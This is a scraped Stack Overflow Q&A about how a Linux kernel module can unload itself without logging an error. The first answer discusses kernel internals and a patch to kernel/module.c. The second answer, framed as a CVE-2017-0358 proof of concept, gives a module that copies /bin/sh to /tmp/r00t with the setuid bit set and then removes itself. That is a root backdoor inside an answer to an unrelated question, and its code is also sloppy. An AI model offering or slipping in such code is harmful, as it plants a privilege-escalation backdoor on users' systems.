问题
I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod
will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
回答1:
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c
. As far as I can see, there's no exported function which will call free_module
from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn
function which just schedule
s after preventing the current (invalid) task from being run again (or just running do_exit
).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c
, and make the necessary modifications to include/linux/module.h
:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE)
will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
回答2:
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358@gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
来源:https://stackoverflow.com/questions/32413204/how-can-a-kernel-module-unload-itself-without-generating-errors-in-kernel-log